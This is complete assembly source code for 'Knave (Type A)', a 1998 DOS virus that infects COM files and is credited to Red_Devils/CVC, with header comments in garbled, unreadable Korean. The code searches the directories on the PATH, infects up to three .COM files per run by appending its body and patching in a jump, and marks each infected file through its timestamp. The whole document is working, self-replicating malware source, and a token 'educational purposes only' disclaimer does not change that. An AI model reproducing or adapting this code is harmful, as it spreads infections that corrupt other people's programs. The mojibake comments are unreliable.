;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;					       \\\\\\\	\	\   \\\\\\\
;                                             \          \     \   \
;          Knave  (Type A)                    \           \   \    \    98/05
;					      \ 	   \ \	   \
;                                              \\\\\\\      \       \\\\\\\ #04
;
; Virus Name : Knave
; Author     : Red_Devils
; Group      : CVC
; Origin     : Corea
; Date       : 1998/03/25
; Type       : Non Resident COM
;
;   !*< I  >********************************************************!
;   *                                                                        *
;   * w !                                                                 *
;   *         e aBⷥ ae awAᴡ sa. e       *
;   *        i awЁ iae  AA Ёᕡ i  g    *
;   *        sa. e e ii e aqAA sa.                *
;   *                                                                        *
;   * Warning !                                                              *
;   *        This information is for educational purposes only. We are       *
;   *        not responsible for any problems caused by the use of this      *
;   *        information. Responsibility is entirely placed on the reader    *
;   *                                                                        *
;   !************************************************************************!
;
; Miny2 (Type E) i  Жa. Miny2 e a ae wa bEa.
;
; 1. PATH i wЁ qq ǩ ai xea.
; 2. Aaa ewi ɷЁ Ia aUi i ϩaa a.
;
;  e ᶅ Ёi Ё iae ae awa gva. ⦅A  
; waA eA ae, wwӡ ge AV Ae a ea e
; a.
;
; PATH i awa Ё a qi awea.
;
; Get_PathAddress : ŉwwbA PATH= i xa 弁 Bɡi aaǥa.
; Use_Path        : ŉwwb wi ᝡ aa aq wi aaǥa.
;
; ! Knave (Type A) : wA COM a qq
;
;
; AV Test :
; Heuristic Test :
;
;
; TK-MAN : ALT-X ⷡ  Asa. !
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

            .MODEL   TINY
            .CODE
            .286
            org   0h

 VIRLEN     equ   (End_Virus - Knave)   ; aa 

 Knave:
            mov   ax,cs                 ;
 AddSeg:    add   ax,0010h              ; aaa  Aaa A b
            push  ax                    ; A åa.
            mov   ax,offset New_Segment ;
            push  ax                    ;
            retf                        ;

 New_Segment:
            push  cs                    ;
            pop   ds                    ; cs=ds

            mov   OldSegment, es        ;  Aaa w
            mov   ax, word ptr es:[002Ch]
            mov   Enviraddr,ax

            push  cs                    ;
            pop   es                    ;

            mov   si, offset Com_Head   ; | 
            mov   di, offset Com_Head2  ; q a
            movsw
            movsw

            mov   ah,19h                ;
            int   21h
            add   al,'A'
            mov   byte ptr OldDir, al
            mov   word ptr OldDir+1,'\:'

            mov   ah,47h
            xor   dl,dl                 ;  Bɡ w
            mov   si, offset OldDir + 3 ;
            int   21h                   ;

            mov   byte ptr Count,00     ; qqa 0

            call  Get_Path_Address      ; w  苡

            mov   ah,2fh                ; DTA  苡
            int   21h
            push  es
            push  bx

            push  cs
            pop   es

            mov   ah,1ah                ;
            mov   dx, offset NewDTA     ;  DTA 
            int   21h

 FindFirst:
            mov   ah,4Eh                ; a x
            mov   cx,00100011B          ; a 
            lea   dx,Match_COM          ; xa ae a (*.c?m)
 Find:      int   21h
            jnc   callInfect            ; Ae ae w 
            call  Use_PATH
            cmp   al, 0FFh              ; No More Path ?
            jz    Set_OldDir
            jmp   FindFirst
 callInfect:
            call  ChkInfected           ; qq ˥ ѡ
            cmp   byte ptr Count,3      ; 3  qq va ?
            jz    Set_OldDir            ; ae qq ɕ {
            mov   ah,4Fh                ; aq a x
            jmp   Find

 Set_OldDir:
            mov   ah, 0Eh
            mov   dl, byte ptr OldDir
            sub   dl, 'A'
            int   21h

            mov   ah,3Bh                ;  Bɡ 
            lea   dx, OldDir
            int   21h

            pop   dx
            pop   ds
            mov   ah, 1Ah               ;
            int   21h

            push  cs
            pop   ds

            mov   ax, word ptr OldSegment
            mov   es,ax
            push  ax
            mov   ax,100h
            push  ax
            mov   si, offset Com_Head2  ; COM | 
            mov   di,0FFh
            inc   di
            movsw                       ; | 4 aa 
            movsw                       ;
            xor   ax,ax
            push  es
            pop   ds
            retf                        ;  COM a З

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; w : PathAddr A wE ti PathBuffer  aeҁ Ёw Bɡ
;        ea. PathAddr  0 e ᷡw wa a.
;
; b : None
;  :   w : Ёw PATH  
;        Aᯡ : AL = FFh
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

 Use_PATH   proc  near                  ; ᷡw awi wa
            push  ds
            mov   al, 0FFh
            cmp   word ptr PathAddr,0000; ea?
            jz    Use_Path_Exit
            xor   al,al
 Set_PathInit:
            mov   si, word ptr PathAddr ; w á aU
            mov   ds, word ptr EnvirAddr; ŉwbb 
            mov   di, offset PathBuffer ; a q

 UP_Loop:   lodsb                       ;
            dec   al
            cmp   AL, ';'-1             ; Bɡ ia?
            jz    UP_01
            cmp   al,0FFh               ; PATH {a?
            jz    NomorePATH
            inc   al
            stosb                       ; a
            jmp   UP_Loop

 NomorePATH:
            xor   si,si                 ; ᷡw Bɡa a.

 UP_01:     mov   word ptr CS:PathAddr,SI    ; w t
            xor   al,al
            stosb
            push  cs
            pop   ds

            mov   ah, 0Eh
            mov   dl, byte ptr PathBuffer
            sub   dl, 'A'
            int   21h
            jc    Use_Path

            pusha
            mov   si, offset PathBuffer
 print_loop:
            lodsb
            mov   ah,2
            mov   dl,al
            int   21h
            or    dl,dl
            jnz   print_loop
            popa

            mov   ah,3Bh                ; Ёw Bɡ 
            mov   dx, offset PathBuffer
            Int   21h
            jc    Use_Path
 Use_Path_Exit:
            pop   ds
            ret
 Use_Path   endp

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; A aa qq ˥
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

 ChkInfected:                           ; qq ai ·ea.
            cmp   word ptr NewDTA+1Eh,'OC' ; COMMAND.COM a ?
            jz    Skip_thisfile
            mov   al,NewDTA+16h         ; 62   aea.
            and   al,1Fh
            cmp   al,1Fh
            jnz   Infect
 Skip_thisfile:
            RET                         ; 62  e aq a a ự

 Infect:    mov   ax, 4301h             ; /a a a
            xor   cx,cx
            mov   dx, offset NewDta+1Eh
            int   21h
            jc    Skip_thisfile         ; A i

            mov   ax, 3D02h             ; a e
            int   21h
            jc    Skip_thisfile         ;

            xchg  ax,bx                 ; BX = aЅi

            mov   ax, 5700h             ; a b e 苡
            int   21h
            push  cx                    ; b e w
            push  dx                    ;

            mov   ah, 3Fh               ; | 
            lea   dx, COM_Head          ;  
            mov   cx, 0004              ; 4 aa
            int   21h

            cmp   byte ptr COM_Head+1,'Z'
            jnz   lseek2                ; EXE a a ?
            nop
            cmp   byte ptr COM_Head,'M'
            jz    error

 lseek2:
            mov   al,02                 ; a {a 
            call  lseek
            or    dx,dx                 ; 64 KB wa ?
            jnz   Error                 ; aq a e ǡ gЁ

            mov   dx,ax
            add   dx,0Fh                ; 16   eea.
            and   dx,0FFF0h
            mov   al, 0
            call  lseek1

            push  ax
            mov   cl,04                 ; Aaa e (/16) = Aaa
            shr   ax,cl
            add   ax,10h
            mov   word ptr AddSeg+1, ax
            pop   ax                    ;

            sub   ax,3                  ; at e
            mov   word ptr JumpCode+1,ax;

            mov   ah, 40h               ; aa a
            mov   cx, VIRLEN
            mov   dx, offset Knave
            int   21h

            mov   al,00                 ; qa 
            call  lseek

            mov   ah, 40h               ; a ša a
            mov   cx,0004
            mov   byte ptr JumpCode,0EAh
            dec   byte ptr JumpCode     ; E9h = JMP
            mov   dx, offset JumpCode
            int   21h

            inc   byte ptr Count        ; qq  wa
 Error:
            pop   dx                    ; a b e 
            pop   cx                    ;
            or    cx,+1Fh               ; 62  ei
            mov   ax, 5701h             ; a b e 
            int   21h

            mov   ah, 3Eh               ; a h
            int   21h
            RET

 lseek      Proc  Near                  ; ͡ 
            xor   dx,dx
 lseek1:
            xor   cx,cx
            mov   ah,40h                ; AH=42h
            inc   ah                    ;
            inc   ah
            int   21h
            ret
 lseek      Endp

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;                     ŉw wbA PATH= á 苡
;
; EnvirAddr  : ŵwwb t
; PathAddr   : awi w 
; PathBuffer : Bɡi  Ё awAe w 
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

 Get_PATH_Address   Proc Near
            pusha
            push    ds
            mov     DS, word ptr EnvirAddr  ; ŉwwb t
            xor     si,si
            mov     cx, 5000h           ; eU
 Search_PATH:
            lodsb                       ; xe ai 'PATH='
            cmp     AL,'P'              ; 'P' i xva ?
            jnz     SP_Loop
            mov     ax,DS:[SI]
            cmp     ax,'TA'             ; TA ?
            jnz     SP_Loop
            cmp     word ptr DS:[SI+2],'=H'    ; H= (PATH=)
            jz      SavePATH
 SP_Loop:   loop    Search_PATH
 SavePATH:  add     SI,0004             ; SI e wi aaǡ a.
            mov     word ptr CS:PathAddr,SI    ; w 
            mov     DI, offset PathBuffer
            pop     ds
            popa
            RET

 Get_PATH_Address   Endp

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; Data wb
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

 COM_head   db    0CDh,20h,90h,90h      ; COM |
 Match_COM  db    '*.c?m',00            ; COM a x
 Virus_Name db    '[Knave] Type.A  by Red_Devils/CVC,Corea 98/04'
 End_Virus:                             ; A ỡe aa {

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; aAe wA ge 
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

 COM_Head2  db    00,00,00,00           ;  COM |
 EnvirAddr  dw    ?                     ; ŉw wb 
 PathAddr   dw    ?                     ; w 
 OldSegment dw    ?                     ;  Aaa
 Count      db    ?                     ; qq 
 JumpCode   db    0E9h,00,00,00         ; a t
 PathBuffer db    80h dup ('$')         ;
 NewDTA     db    80h dup (00)          ;  DTA wb
 OldDir     db    80h dup (00)          ;  Bɡ w w

            END   Knave

